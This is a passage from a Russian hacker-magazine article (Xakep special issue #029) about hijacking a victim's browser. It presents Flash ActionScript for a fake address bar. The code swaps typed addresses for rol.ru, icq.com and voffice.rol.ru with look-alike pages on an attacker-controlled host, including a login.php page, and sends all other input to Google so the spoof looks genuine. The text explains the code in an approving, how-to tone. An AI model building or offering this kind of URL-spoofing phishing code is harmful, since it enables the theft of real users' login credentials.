ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента

Спецвыпуск Xakep, номер #029, стр. 029-020-3


Внутри флешки рисуем текстовое поле в стиле строки ввода адреса эксплорера, вешаем кнопочку, которая будет ловить нажатие ентера и обрабатывать значение нашего текстового поля в момент нажатия. Для этого на кнопке должен висеть, например, такой код:

on (release, keyPress "<Enter>") {

url01 = 'www.rol.ru';

url02 = 'rol.ru';

url03 = 'http://www.rol.ru';

url04 = 'http://www.rol.ru/';

url05 = 'http://rol.ru';

url06 = 'http://rol.ru/';

url11 = 'www.icq.com';

url12 = 'icq.com';

url13 = 'http://www.icq.com';

url14 = 'http://www.icq.com/';

url15 = 'http://icq.com';

url16 = 'http://icq.com/';

url17 = 'web.icq.com';

url18 = 'http://web.icq.com';

url19 = 'http://web.icq.com/';

url21 = 'voffice.rol.ru';

url22 = 'http://voffice.rol.ru';

url23 = 'http://voffice.rol.ru/';

t = text;

if ( url01 == t || url02 == t || url03 == t || url04 == t || url05 == t || url06 == t ) {

t = 'http://sevranty.deepdesign.ru/xakep/a-004/rol.htm';

} else if ( url11 == t || url12 == t || url13 == t || url14 == t || url15 == t || url16 == t || url17 == t || url18 == t || url19 == t ) {

t = 'http://sevranty.deepdesign.ru/xakep/a-004/icq.htm';

} else if ( url21 == t || url22 == t || url23 == t ) {

t = 'http://sevranty.deepdesign.ru/xakep/a-004/login.php';

} else {

t = 'http://www.google.com.ru/search?hl=ru&inlang=ru&ie=windows-1251&q=' + t;

}

getURL(t, "main");

}

Длина кода зависит только от количества серваков, которые ты хочешь подменять.

Все написано до извращения просто. В начале скриптика описываем адреса, которые мы хотим подменить (нужно помнить, что у одного адреса есть несколько вариантов написания, а аналог grep'а здесь может быть не лучшим выходом.). После этого присваиваем переменной t значение нашего текстового поля, которое мы предварительно обозвали text. Дальше как всегда извращенным if'ом, сравниваем введенное юзером с образцами урлов, описанных выше - мы не ищем легких путей. Кстати, обращаю внимание, что у нас из фрейма с именем top (top.html) передается обработанный урл (валуя "t") в средний фрейм main (по дефолту rol.htm), это делается getURL(t, "main"), и потом не говорите, что не поняли.

Назад на стр. 029-020-2  Содержание  Вперед на стр. 029-020-4